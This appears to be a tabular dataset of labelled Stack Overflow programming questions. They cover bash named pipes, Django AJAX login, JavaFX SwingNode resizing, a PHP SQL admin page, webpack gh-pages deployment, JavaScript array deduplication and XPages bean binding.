title
stringlengths 13
150
| body
stringlengths 749
64.2k
| label
int64 0
3
| token_count
int64 1.02k
28.5k
|
---|---|---|---|
What's wrong with named pipes used between 2 processes (no. 2)?
|
<p>So, let's start from beginning: 2 processes 1 pipe to communicate, right? No! because communication is blocking, one waits for another. We need results from the second process through a different channel. Though it seems redundant it is not.</p>
<p>Let's change it a bit: 2 processes 2 pipes, you can call one process the server and the other the client. One pipe sends jobs to clients and the other is used to collect results from the clients to the server.</p>
<p>For convenience we call each pipe with the process name that is used for reading so, london reads london pipe and so on. That's the diagram of pipes and processes:</p>
<pre><code>london ----writes madrid pipe-------->
london <----reads london pipe------ |
^ |
| |
madrid ----writes london pipe-----> v
madrid <----reads madrid pipe---------
</code></pre>
<p>Let's use 'london' as server and 'madrid' as client: server is responsible to end the endless loop.</p>
<p>And this is the solution:</p>
<pre><code>#!/bin/bash
shopt -u failglob
shopt -s extglob nullglob dotglob
DIR=$( cd "$( dirname "$0" )" && pwd )
function london (){
local i message answer london madrid
london=london_$RANDOM.$RANDOM.$RANDOM.$$
madrid=madrid_$RANDOM.$RANDOM.$RANDOM.$$
cd $DIR
mkfifo $london
mkfifo $madrid
( madrid $madrid $london ) &
echo "parent id: $$, child id: $!"
i=0
#a mesterious situation: sometimes '3< $london' just breaks it (?!)
exec 3<> $london
exec 4> $madrid
while true; do
message="Greetings from London!($i)"
echo "$message" >&4
read -r answer <&3
echo 'London says:> '"$answer" #>& /dev/stdout
(( i++ ))
if [[ i -gt 1 ]]; then
echo 'quit' >&4
break
fi
done
wait
cd "$DIR"
rm -rf $london
rm -rf $madrid
}
function madrid (){
local i message answer madrid london
madrid=$1
london=$2
cd $DIR
i=0
exec 3> $london
exec 4< $madrid
while true; do
read -r answer <&4
echo 'Madrid says:> '"$answer" #>& /dev/stdout
message="Greetings from Madrid!($i)"
echo "$message" >&3
(( i++ ))
if [[ $answer = 'quit' ]]; then
break
fi
done
}
london
</code></pre>
<p>At function 'london' there is a comment just before</p>
<pre><code> exec 3<> $london
</code></pre>
<p>if you change this to</p>
<pre><code> exec 3< $london
</code></pre>
<p>as it should(!) be then, I faced a situation where my program stalled repeatedly!
After a few changes from <> to < and vice versa the problem eliminated and I can't reproduce it! I'm using an Ubuntu system so if anybody can test the program with his/her system and post some comments it will welcomed.</p>
| 3 | 1,147 |
How to submit django model forms via ajax, preventing reload/refresh on submit
|
<p>Problem: every time I click the login button, the page reloads and then goes to some funny URL appending 'undefined' in the URL - <a href="http://127.0.0.1:8000/accounts/userLogin/undefined" rel="nofollow noreferrer">http://127.0.0.1:8000/accounts/userLogin/undefined</a>. I would like if the form has errors, then the form errors are shown with the form again for the user to correct and if there are no errors, then log in the user.</p>
<p>PS: I am relatively new to this Django/javascript world. </p>
<p>Here is my code:</p>
<ol>
<li>View</li>
</ol>
<pre><code>@method_decorator(csrf_protect, name='post')
class UserLogin(LoginView):
"""docstring for UserLogin"""
template_name = 'accounts/login.html'
def get(self, request):
'''a func to work on the request.POST'''
print("getting the form for you ")
form = LoginForm()
return render(request,self.template_name,{'form':form})
def post(self, request):
form = LoginForm(request.POST)
print("go the data for you")
if request.is_ajax():
print("entered form")
if form.is_valid():
print("form valid")
email = form.cleaned_data['email']
try:
user = User.objects.get(email=email)
print("user obj", user)
if user.check_password(form.cleaned_data['password']):
# 0-super admin, 1-dept admin,2-dept staff, 3-end user
print("correct password")
if user.account_type == 4:
if user.last_login == None or user.last_login == '':
to = "verify"
else:
to = "user"
else:
if user.account_type == 2:
to = 'dept_admin'
elif user.account_type == 3:
to = 'dept_staff'
elif user.account_type == 1:
to = 'super_user'
else:
to = None
res = {'status':'ok', 'error':False, 'acc_type':to, 'data':user.email}
else:
print("incorrect password")
res = {'status':'fail', 'error':'incorrect password'}
except Exception as e:
print("User not found!", e)
res = {'status':'fail', 'error':'account not found'}
else:
print("form valid")
res = {'status':'fail', 'error':form.errors}
return JsonResponse(res)
</code></pre>
<ol start="2">
<li>Form</li>
</ol>
<pre><code>{% load static %}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Login</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="">
<!-- Bootstrap core CSS -->
<link href="{% static 'bootstrap/css/bootstrap.min.css' %}" rel="stylesheet">
<!-- Font Awesome -->
<link href="{% static 'css/font-awesome.min.css' %}" rel="stylesheet">
<!-- Endless -->
<link href="{% static 'css/endless.min.css' %}" rel="stylesheet">
</head>
<body>
<div class="login-wrapper">
<div class="text-center">
<span>
<img src="{% static 'img/question.png' %}" style="height: 100px; width: 100px; border-radius: 50%;">
</span>
</div>
<div class="text-center">
<h2 class="fadeInUp animation-delay8" style="font-weight:bold">
<span class="text-success">CitiSpy User Login</span>
</h2>
</div>
<div class="login-widget animation-delay1">
<div class="panel panel-default">
<div class="panel-heading clearfix">
<div class="pull-left">
<i class="fa fa-lock fa-lg"></i> Login
</div>
</div>
<div class="panel-body">
<div id="login-form-main-message"></div>
<form class="form-login" id="login_form">
<div id="form_content">
<div class="form-group">
{% csrf_token %}
</div>
{{ form.non_field_errors }}
<div class="form-group">
{{ form.email.errors }}
<label>Email</label>
{{ form.email }}
</div>
<div class="form-group">
{{ form.password.errors }}
<label>Password</label>
{{ form.password }}
</div>
<div class="seperator"></div>
<hr/>
<div class="form-group">
<button class="btn btn-success btn-sm bounceIn animation-delay5 login-link pull-right" type="button"><i class="fa fa-sign-in"></i> Login</button>
<!-- <a type="submit" class="btn btn-success btn-sm bounceIn animation-delay5 login-link pull-right" id="login_submit"><i class="fa fa-sign-in"></i> Login</a> -->
</div>
</div>
</form>
</div>
</div><!-- /panel -->
</div><!-- /login-widget -->
</div><!-- /login-wrapper -->
<!-- Jquery -->
<script src="{% static 'js/jquery-1.10.2.min.js' %}"></script>
<!-- Bootstrap -->
<script src="{% static 'bootstrap/js/bootstrap.js' %}"></script>
<!-- Pace -->
<script src="{% static 'js/uncompressed/pace.js' %}"></script>
<!-- Popup Overlay -->
<script src="{% static 'js/jquery.popupoverlay.min.js' %}"></script>
<!-- Slimscroll -->
<script src="{% static 'js/jquery.slimscroll.min.js' %}"></script>
<!-- Modernizr -->
<script src="{% static 'js/modernizr.min.js' %}"></script>
<!-- Cookie -->
<script src="{% static 'js/jquery.cookie.min.js' %}"></script>
<!-- Endless -->
<script src="{% static 'js/endless/endless.js' %}"></script>
<!--login js-->
<script src="{% static 'js/accounts/login_1.js' %}"></script>
</body>
</html>
</code></pre>
<ol start="3">
<li>JavaScript</li>
</ol>
<pre><code>$(function(){
function getCookie(name) {
var cookieValue = null;
if (document.cookie && document.cookie !== '') {
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
var cookie = jQuery.trim(cookies[i]);
// Does this cookie string begin with the name we want?
if (cookie.substring(0, name.length + 1) === (name + '=')) {
cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
break;
}
}
}
return cookieValue;
}
var $csrf_token = {
name: "csrfmiddlewaretoken",
value: getCookie('csrftoken')
};
$('#login_form').submit(function(event){
event.preventDefault();
var $form_data = $(this).serializeArray();
$form_data.push($csrf_token);
$.ajax({
type: 'POST',
data: $form_data,
cache: false,
dataType: 'json',
url: '/accounts/userLogin/',
beforeSend: function(){
$("#login-form-main-message").css("display", "block").html("<div class='alert alert-info'><img height=\"24px;\" src=\"{% static '/images/double-ring.gif' %}\" alt=\"loading\" /> Please wait...</div>");
$("#form_content").css("display", "none");
},
success: function(data){
if (data.status === "ok"){
if (data.to === "verify") {
//redirect to account verification
} else {
if (data.to === "user") {
//redirect to user account
$("#login-form-main-message").css("display", "block").html("<div class='alert alert-info'><img height=\"24px;\" src=\"{% static '/images/double-ring.gif' %}\" alt=\"loading\" /> Success! login you in, please wait...</div>");
$("#form_content").css("display", "none");
}else{
$("#login-form-main-message").css("display", "block").html("<div class='alert alert-info'><img height=\"24px;\" src=\"{% static '/images/double-ring.gif' %}\" alt=\"loading\" /> Success! login you in, please wait...</div>");
$("#form_content").css("display", "none");
location.href = '/em_dept/dashboard/';
}
}
}
},
error:function(){
console.log("error error error!!!");
}
});
return false;
});
});
</code></pre>
| 3 | 5,595 |
SwingNode contents not resizing when the SwingNode's parent resizes
|
<p>EDIT:
I've left my original question as it was, below. If you wish to test the issue using the AnchorFX sourcecode and my code below, you should be able to recreate the problem. It happens in some other circumstances as well, and is similar to the issues in these two questions: <a href="https://stackoverflow.com/questions/30594004/resize-swingnode-in-pane">Resize SwingNode in Pane</a> and <a href="https://stackoverflow.com/questions/20350890/how-to-resize-swing-control-which-is-inside-swingnode-in-javafx8">How to resize Swing control which is inside SwingNode in JavaFX8?</a> Neither of whose answers proved helpful to me, but maybe the answer I found will help someone else in the future. </p>
<hr>
<p>I have a <code>JTable</code> inside a <code>JScrollPane</code> and I need to embed it into a javafx application. I am trying to do this using the <a href="https://github.com/alexbodogit/AnchorFX" rel="noreferrer">AnchorFX docking framework</a>. I also need this SwingNode to somehow be inside a <code>Control</code> (the two I have tried are <code>ScrollPane</code> and <code>SplitPane</code>) so that I can add a <code>ContextMenu</code> to it which is consistent with the rest of the application. </p>
<p>The problem is, when I 'dock' and 'undock' tabs or simply resize the window or the panes inside the window, the <code>JScrollPane</code> with the table in it does not resize properly.</p>
<p>I have modified one of the demos from the AnchorFX project to show my problem:</p>
<pre><code>public class AnchorFX_substations extends Application {
@Override
public void start(Stage primaryStage) {
DockStation station = AnchorageSystem.createStation();
Scene scene = new Scene(station, 1024, 768);
DockNode node1 = AnchorageSystem.createDock("Node", generateJTableNode());
node1.dock(station, DockNode.DockPosition.CENTER);
DockNode subNode = AnchorageSystem.createDock("subNode 1", generateJTableNode());
subNode.dock(station, DockNode.DockPosition.LEFT);
subNode.floatableProperty().set(false);
DockNode subNode2 = AnchorageSystem.createDock("subNode 2", generateJTableNode());
subNode2.dock(station, DockNode.DockPosition.LEFT);
AnchorageSystem.installDefaultStyle();
primaryStage.setTitle("AnchorFX SubStation");
primaryStage.setScene(scene);
primaryStage.show();
}
private Control generateJTableNode() {
ScrollPane contextMenuPane = new ScrollPane();
SwingNode swingNode = new SwingNode();
DefaultTableModel model = new DefaultTableModel();
JTable table = new JTable(model);
// Create a couple of columns
model.addColumn("Col1");
model.addColumn("Col2");
// Append a row
for(int i = 0; i < 200; i++) {
model.addRow(new Object[]{"col 1 row " + i, "col 2 row "+i});
}
JScrollPane scrollPane = new JScrollPane(table);
swingNode.setContent(scrollPane);
contextMenuPane.setFitToHeight(true);
contextMenuPane.setFitToWidth(true);
contextMenuPane.setContent(swingNode);
return contextMenuPane;
}
/**
* @param args the command line arguments
*/
public static void main(String[] args) {
launch(args);
}
}
</code></pre>
| 3 | 1,044 |
Access objects in array list
|
<p>I am trying to access objects an arraylist using javascript, the arraylist is:</p>
<pre><code>membersList:{
"kind":"admin#directory#users",
"users":[{"orgUnitPath":"/",
"isMailboxSetup":true,
"id":"1076823423424234",
"isAdmin":false,
"suspended":false,
"isDelegatedAdmin":false,
"isEnforcedIn2Sv":false,
"etag":"\"npJcgsdfsadfsfsff\"",
"ipWhitelisted":false,"changePasswordAtNextLogin":true,
"customerId":"C01looera",
"includeInGlobalAddressList":true,
"lastLoginTime":"1970-01-01T00:00:00.000Z",
"primaryEmail":"ilda.donofrio@domain.org",
"isEnrolledIn2Sv":false,"kind":"admin#directory#user",
"name":{"givenName":"ilda",
"familyName":"donofrio",
"fullName":"ilda donofrio"},
"creationTime":"2018-06-10T11:56:45.000Z",
"emails":[{"address":"ilda.donofrio@domain.org",
"primary":true}],
"agreedToTerms":true
}],
"etag":"\"npJcgsdfsadfsfsff/npJcgsdfsadfsfsff\"
}
</code></pre>
<p>I am trying to access the <code>primary email</code> from this list for which I wrote a code i.e</p>
<pre><code>for (var j in membersList) {
var member = membersList[j];
Logger.log('member Email:' + member);
}
</code></pre>
<p>which just returns me </p>
<pre><code>[18-06-12 15:39:55:982 EDT] member Email:admin#directory#users
[18-06-12 15:39:55:982 EDT] member Email:{"orgUnitPath":"/","isMailboxSetup":true,"id":"1076823423424234","isAdmin":false,"suspended":false,"isDelegatedAdmin":false,"isEnforcedIn2Sv":false,"etag":"\"npJcgsdfsadfsfsff\"","ipWhitelisted":false,"changePasswordAtNextLogin":false,"customerId":"C01looera","includeInGlobalAddressList":true,"lastLoginTime":"1970-01-01T00:00:00.000Z","primaryEmail":"ilda.donofrio@domain.org","isEnrolledIn2Sv":false,"kind":"admin#directory#user","name":{"givenName":"ilda","familyName":"donofrio","fullName":"ilda donofrio"},"creationTime":"2018-06-10T11:56:45.000Z","emails":[{"address":"ilda.donofrio@domain.org","primary":true}],"agreedToTerms":true}
[18-06-12 15:39:55:983 EDT] member Email:"npJcgsdfsadfsfsff/npJcgsdfsadfsfsff\"
</code></pre>
<p>When I tried with:</p>
<pre><code>Logger.log('member Email:' + member.primaryEmail);
</code></pre>
<p>Its throwing:</p>
<pre><code>[18-06-12 16:02:53:630 EDT] member Email:undefined
[18-06-12 16:02:53:630 EDT] member Email:undefined
[18-06-12 16:02:53:631 EDT] member Email:undefined
</code></pre>
<p>Is there a way to extract the value of just the <code>primaryEmail</code> using the script? I am a newbie to javascript and google scripts so please pardon me if its a stupid question.</p>
| 3 | 1,134 |
SQL error 1064. Statement works in mysqladmin but not in PHP script
|
<p>I have a PHP script installed on the admin side of our website that is supposed to allow us to run SQL queries. However, I'm not getting the same results as I am when running it through mysqladmin on our host company's OPS page.</p>
<p><strong>When I submit:</strong></p>
<pre><code>SELECT orders_id FROM `orders_status_history` WHERE `comments` LIKE '%12345%'
</code></pre>
<p>I get one result (my test record) in mysqladmin. So it's successful.</p>
<p><strong>However, when I submit it through the PHP program, I get:</strong></p>
<pre><code>MySQL error 1064: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near '\'%12345%\'' at line 1
While executing:
SELECT orders_id FROM `orders_status_history` WHERE `comments` LIKE \'%12345%\'
</code></pre>
<p>I'm assuming the syntax is different when submitting through PHP but I can't, for the life of me, figure out what it's supposed to be. I've tried prefacing the single quotes with a slash. I've tried double quotes. I've spent a couple hours surfing the web. I've tried so many things I can't even keep them straight anymore. I'm assuming it is something simple. Can anyone point me in the right direction?</p>
<p>Here is the code from the php program. The user pastes the SQL query in a text area and hits a SEND button. Again, the <em>exact</em> same query works in mysqladmin but not when using this PHP program:</p>
<pre><code><?php
/*
$Id: sql_interface.php,v 1.00 2004/08/13 00:28:44 draven Exp $
*/
require('includes/application_top.php');
$text_heading = INITIAL_TITLE;
function sqlquery($query) {
$result = mysql_query($query);
global $query_result;
if (mysql_errno()) {
$query_result = "MySQL error ".mysql_errno().": ".mysql_error()."\n\nWhile executing:\n\n$query\n------------------------------------------------------------------------------------------\n\n";
} else {
$query_result = "Your query was successful!\nRows Affected: " . mysql_affected_rows();
}
return $result;
}
$action = (isset($HTTP_GET_VARS['action']) ? $HTTP_GET_VARS['action'] : '');
if (isset($HTTP_POST_VARS['action']) && ($HTTP_POST_VARS['action'] == 'process')) {
sqlquery($HTTP_POST_VARS['query_entry']);
$text_heading = POST_QUERY_TITLE;
$tryagain = TRY_AGAIN_TEXT;
}
?>
<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html <?php echo HTML_PARAMS; ?>>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=<?php echo CHARSET; ?>">
<title><?php echo HEADING_TITLE; ?></title>
<link rel="stylesheet" type="text/css" href="includes/stylesheet.css">
<script language="javascript" src="includes/general.js"></script>
</head>
<body marginwidth="0" marginheight="0" topmargin="0" bottommargin="0" leftmargin="0" rightmargin="0" bgcolor="#FFFFFF">
<!-- header //-->
<?php require(DIR_WS_INCLUDES . 'header.php'); ?>
<!-- header_eof //-->
<!-- body //-->
<table border="0" width="100%" cellspacing="2" cellpadding="2">
<tr>
<td width="<?php echo BOX_WIDTH; ?>" valign="top"><table border="0" width="<?php echo BOX_WIDTH; ?>" cellspacing="1" cellpadding="1" class="columnLeft">
<!-- left_navigation //-->
<?php require(DIR_WS_INCLUDES . 'column_left.php'); ?>
<!-- left_navigation_eof //-->
</table></td>
<!-- body_text //-->
<td width="100%" valign="top"><table border="0" width="100%" cellspacing="0" cellpadding="2"><?php echo tep_draw_form('sql_interface', 'sql_interface.php', 'post') . tep_draw_hidden_field('action', 'process'); ?>
<tr>
<td><table border="0" width="100%" cellspacing="0" cellpadding="0">
<tr>
<td class="pageHeading" colspan="3"><?php echo HEADING_TITLE; ?></td>
</tr>
</table></td>
</tr>
<tr>
<td><table border="0" width="100%" cellspacing="0" cellpadding="0">
<tr>
<td valign="top"><table border="0" width="100%" cellspacing="0" cellpadding="2">
<tr>
<td class="main" colspan="3"><?php echo tep_draw_separator('pixel_trans.gif', '1', '10'); ?></td>
</tr>
<tr>
<td class="main" colspan="2"><?php echo '<b>' . $text_heading . ':</b>'; ?></td>
<td class="main" align="right" colspan="1"><i><?php echo $tryagain; ?></i></td>
</tr>
<tr>
<td class="main" colspan="3"><?php echo tep_draw_textarea_field('query_entry', '', 137, 30, $query_result, '', false); ?></td>
</tr>
<tr>
<td class="main" colspan="3"><?php echo tep_draw_separator('pixel_trans.gif', '1', '10'); ?></td>
</tr>
<tr>
<td width="10"><?php echo tep_draw_separator('pixel_trans.gif', '10', '1'); ?></td>
<td colspan="2"align="right"><?php echo tep_image_submit('button_send.gif', IMAGE_BUTTON_EXECUTE_SQL) . tep_draw_separator('pixel_trans.gif', '10', '1'); ?></form></td>
</tr>
<tr>
<td class="smallText" colspan="3">&nbsp;</td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table></td>
<!-- body_text_eof //-->
</tr>
</table>
<!-- body_eof //-->
<!-- footer //-->
<?php require(DIR_WS_INCLUDES . 'footer.php'); ?>
<!-- footer_eof //-->
<br>
</body>
</html>
<?php require(DIR_WS_INCLUDES . 'application_bottom.php'); ?>
</code></pre>
| 3 | 2,872 |
How code an integration formula using Python
|
<p>I have an integration equations to calculate key rate and need to convert it into Python. </p>
<p><strong>The equation to calculate key rate is given by:</strong></p>
<p><a href="https://i.stack.imgur.com/HLBeP.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/HLBeP.png" alt="enter image description here"></a></p>
<p><strong>where R(n) is:</strong></p>
<p><a href="https://i.stack.imgur.com/KaGyS.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/KaGyS.png" alt="enter image description here"></a></p>
<p><strong>and p(n)dn is:</strong></p>
<p><a href="https://i.stack.imgur.com/tAmUm.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/tAmUm.png" alt="enter image description here"></a></p>
<p><strong>The key rate should be plotted like this:</strong></p>
<p><a href="https://i.stack.imgur.com/QZ1BP.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/QZ1BP.png" alt="enter image description here"></a></p>
<p>I have sucessfully plotted the static model of the graph using following equation:</p>
<pre><code>import numpy as np
import math
from math import pi,e,log
import matplotlib.pyplot as plt
n1=np.arange(10, 55, 1)
n=10**(-n1/10)
Y0=1*(10**-5)
nd=0.25
ed=0.03
nsys=nd*n
QBER=((1/2*Y0)+(ed*nsys))/(Y0+nsys)
H2=-QBER*np.log2(QBER)-(1-QBER)*np.log2(1-QBER)
Rsp=np.log10((Y0+nsys)*(1-(2*H2)))
print (Rsp)
plt.plot(n1,Rsp)
plt.xlabel('Loss (dB)')
plt.ylabel('log10(Rate)')
plt.show()
</code></pre>
<p>However, I failed to plot the R^ratewise model. This is my code:</p>
<pre><code>import numpy as np
import matplotlib.pyplot as plt
def h2(x):
return -x*np.log2(x)-(1-x)*np.log2(1-x)
e0=0.5
ed=0.03
Y0=1e-5
nd=0.25
nt=np.linspace(0.1,0.00001,1000)
y=np.zeros(np.size(nt))
Rate=np.zeros(np.size(nt))
eta_0=0.0015
for (i,eta) in enumerate(nt):
nsys=eta*nd
sigma=0.9
y[i]=1/(eta*sigma*np.sqrt(2*np.pi))*np.exp(-(np.log(eta/eta_0)+(1/2*sigma*sigma))**2/(2*sigma*sigma))
Rate[i]=(max(0.0,(Y0+nsys)*(1-2*h2(min(0.5,(e0*Y0+ed*nsys)/(Y0+nsys))))))*y[i]
plt.plot(nt,np.log10(Rate))
plt.xlabel('eta')
plt.ylabel('Rate')
plt.show()
</code></pre>
<p>Hopefully that anyone can help me to code the key rate with integration p(n)dn as stated above. This is the paper for referrence:
<a href="https://arxiv.org/pdf/1712.08949.pdf" rel="nofollow noreferrer">key rate</a></p>
<p>Thank you.</p>
| 3 | 1,085 |
Can't deploy webpack to gh-pages (react app)
|
<p>First time using webpack as well as deploying using gh-pages. I cloned a webpack project from a udemy course. Instructor doesn't get into how to actually use webpack. It's telling me that [etc.]/build doesn't exist. When I create a build folder, I get the same error.</p>
<p>package.json:</p>
<pre><code> "scripts": {
"start": "node ./node_modules/webpack-dev-server/bin/webpack-dev-server.js",
"build": "webpack -p --config ./webpack.production.config.js",
"test": "mocha --compilers js:babel-core/register --require ./test/test_helper.js --recursive ./test",
"test:watch": "npm run test -- --watch",
"predeploy": "npm run build",
"deploy": "gh-pages -d build"
},
</code></pre>
<p>webpack.production.config.js:</p>
<pre><code>module.exports = {
entry: ["./src/index.js"],
output: {
path: __dirname,
publicPath: "/WeatherReact/",
filename: "bundle.js"
},
module: {
loaders: [
{
exclude: /node_modules/,
loader: "babel",
query: {
presets: ["react", "es2015", "stage-1"]
}
}
]
},
resolve: {
extensions: ["", ".js", ".jsx"]
},
devServer: {
historyApiFallback: true,
contentBase: "./",
watchOptions: {
aggregateTimeout: 300,
poll: 1000
}
}
};
</code></pre>
<p>When I run yarn run deploy:</p>
<pre><code>> webpack -p --config ./webpack.production.config.js
Hash: 252097b8991e3c14f1e3
Version: webpack 1.15.0
Time: 8098ms
Asset Size Chunks Chunk Names
bundle.js 456 kB 0 [emitted] main
[0] multi main 28 bytes {0} [built]
+ 111 hidden modules
WARNING in bundle.js from UglifyJs
Side effects in initialization of unused variable subscriptionShape [./~/react-redux/lib/utils/PropTypes.js:12,0]
Side effects in initialization of unused variable storeShape [./~/react-redux/lib/utils/PropTypes.js:19,0]
Condition always true [./~/hoist-non-react-statics/index.js:6,0]
Side effects in initialization of unused variable support [./~/lodash/index.js:932,0]
Condition always true [./~/lodash/index.js:12323,0]
Dropping unreachable code [./~/lodash/index.js:12337,0]
Side effects in initialization of unused variable moduleExports [./~/lodash/index.js:266,0]
Dropping unreachable code [./~/react-dom/cjs/react-dom.development.js:2297,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:5500,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:14809,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:15147,0]
Dropping unreachable code [./~/react-dom/cjs/react-dom.development.js:15212,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:15331,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:15338,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:15346,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:15351,5]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:11616,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:11680,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:11723,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:11758,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:11775,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:11811,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:11825,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:11883,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:11290,0]
Dropping unreachable code [./~/react-dom/cjs/react-dom.development.js:16191,0]
Dropping unreachable code [./~/react-dom/cjs/react-dom.development.js:16200,0]
Declarations in unreachable code! [./~/react-dom/cjs/react-dom.development.js:16200,0]
Dropping unreachable code [./~/react-dom/cjs/react-dom.development.js:16201,0]
Dropping unused variable parentNamespace [./~/react-dom/cjs/react-dom.development.js:16200,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:16383,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:16397,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:16416,0]
Condition left of && always true [./~/react-dom/cjs/react-dom.development.js:16421,0]
Condition always true [./~/react-sparklines/build/index.js:2,0]
Dropping unreachable code [./~/react-sparklines/build/index.js:4,0]
Side effects in initialization of unused variable width [./~/react-sparklines/build/index.js:1511,0]
Side effects in initialization of unused variable width [./~/react-sparklines/build/index.js:1626,0]
Side effects in initialization of unused variable width [./~/react-sparklines/build/index.js:1843,0]
Side effects in initialization of unused variable height [./~/react-sparklines/build/index.js:1844,0]
Condition always true [./~/symbol-observable/lib/index.js:22,1]
Dropping unreachable code [./~/symbol-observable/lib/index.js:25,0]
$ gh-pages -d build
ENOENT: no such file or directory, stat '/Users/zacharysedefian/Projects/React/WeatherReact/build'
error Command failed with exit code 1.
info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.
</code></pre>
| 3 | 2,137 |
Remove duplicate on the basis of attribute value
|
<p>I want to remove duplicate array from the response on the basis of the attribute value. If the <code>attribute_value</code> data match with other array attribute value then other should be removed. </p>
<p>logic is very simple. check duplicate attribute_value in each array and remove duplicate array and return
In response. now you can see the attribute value = 1 is thrice
and attribute value = 2 is twice</p>
<p>How do i compare and remove whole array if I see attribute value duplicate?</p>
<p>I tried with filter method which seems not working. Please help.</p>
<pre><code>for(var j=0; j<social_post_link.length; j++){
newFilterarray = social_post_link[j].activity_attributes[0].attribute_value.filter(function(item, index) {
if (social_post_link[j].activity_attributes[0].attribute_value.indexOf(item) == index){
return social_post_link;
}
});
}
</code></pre>
<p>code</p>
<pre><code>[
{
"id": "484822",
"activity_attributes": [
{
"id": "868117",
"activity_id": "484822",
"attribute_name": "position",
"attribute_value": "1",
}
]
},
{
"id": "484884",
"activity_attributes": [
{
"id": "868175",
"activity_id": "484884",
"attribute_name": "position",
"attribute_value": "1",
}
]
},
{
"id": "484888",
"activity_attributes": [
{
"id": "868182",
"activity_id": "484888",
"attribute_name": "position",
"attribute_value": "1",
}
]
},
{
"id": "484823",
"activity_attributes": [
{
"id": "868120",
"activity_id": "484823",
"attribute_name": "position",
"attribute_value": "2",
}
]
},
{
"id": "484975",
"activity_attributes": [
{
"id": "868344",
"attribute_name": "position",
"attribute_value": "2",
}
]
},
{
"id": "484891",
"activity_attributes": [
{
"id": "868189",
"attribute_name": "position",
"attribute_value": "3",
}
]
},
{
"id": "484903",
"activity_attributes": [
{
"id": "868200",
"attribute_name": "position",
"attribute_value": "4",
},
]
}
]
</code></pre>
<p>Desired output</p>
<pre><code> [
{
"id": "484822",
"activity_attributes": [
{
"id": "868117",
"activity_id": "484822",
"attribute_name": "position",
"attribute_value": "1",
}
]
},
{
"id": "484823",
"activity_attributes": [
{
"id": "868120",
"activity_id": "484823",
"attribute_name": "position",
"attribute_value": "2",
}
]
},
{
"id": "484891",
"activity_attributes": [
{
"id": "868189",
"attribute_name": "position",
"attribute_value": "3",
}
]
},
{
"id": "484903",
"activity_attributes": [
{
"id": "868200",
"attribute_name": "position",
"attribute_value": "4",
},
]
}
]
</code></pre>
| 3 | 1,548 |
Xpages: Load field values on page when a value changes - bound to a bean
|
<p>Please see clarification at the botom of this email.</p>
<p>I have an Xpage where the user will choose an employee, after which a series of employee dependent fields should populate. I have done this before when my source was a document, but now I am using Objects. My object is bound to a java bean. </p>
<p><a href="https://i.stack.imgur.com/Hoeju.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Hoeju.jpg" alt="enter image description here"></a></p>
<p>For some reason I cannot get the on change event to fire when the Employee Name changes; at other times I can get the event to fire, but when I try to send the selection to a java method to load the values, I cannot get the value of the field. </p>
<p>What I think I have to do is put code in the onChange event of the employee field that grabs the value the user chose and then call a java method in my bean that will load the other employee values and then reload the panel. Boy, takes a long time even to write that! </p>
<p>Any help would be greatly appreciated. </p>
<pre><code><?xml version="1.0" encoding="UTF-8"?>
<xp:view
xmlns:xp="http://www.ibm.com/xsp/core"
xmlns:xc="http://www.ibm.com/xsp/custom"
xmlns:xe="http://www.ibm.com/xsp/coreex"
createForm="false">
<xp:panel
id="pnlAll">
<xp:eventHandler
event="refresh"
submit="false"
refreshMode="partial"
loaded="false"/>
<xp:this.data>
<xe:objectData
saveObject="#{javascript:tr.save()}"
var="tr">
<xe:this.createObject><![CDATA[#{javascript:var tr = new com.scoular.model.TerminationRequest();
var unid = context.getUrlParameter("key")
if (unid != "") {
tr.loadByUnid(unid);
viewScope.put("readOnly","Yes");
} else {
tr.create();
viewScope.put("readOnly","No");
}
return tr;}]]></xe:this.createObject>
</xe:objectData>
</xp:this.data>
<xp:div
styleClass="container-fluid"
id="divTravelRequest">
<div
class="panel panel-primary"
id="div6">
<div
id="divEmployeeInfo"
class="panel-collapse collapse in">
<div
class="panel-body">
<!--Row-->
<div
class="row">
<div
id="div2">
<div
class="col-sm-6 pull-left">
<xp:inputText
value="#{tr.employeeName}"
id="employeeName1"
style="width:300px"
xp:key="field">
<xp:eventHandler
event="onchange"
submit="true"
refreshMode="norefresh"
id="eventHandler1">
<xp:this.action><![CDATA[#{javascript:var prmEmpNme:String = getComponent("employeeName1").getValue();
var javaClass = new com.scoular.model.TerminationRequest();
javaClass.setEmployeeData(prmEmpNme);}]]></xp:this.action>
</xp:eventHandler>
</xp:inputText>
&#160;&#160;&#160;
<xe:namePicker
id="namePicker2"
dialogTitle="Select a Name"
for="employeeName1" rendered="false">
<xe:this.dataProvider>
<xe:dominoNABNamePicker
addressBookDb="bryansMac!!names.nsf"
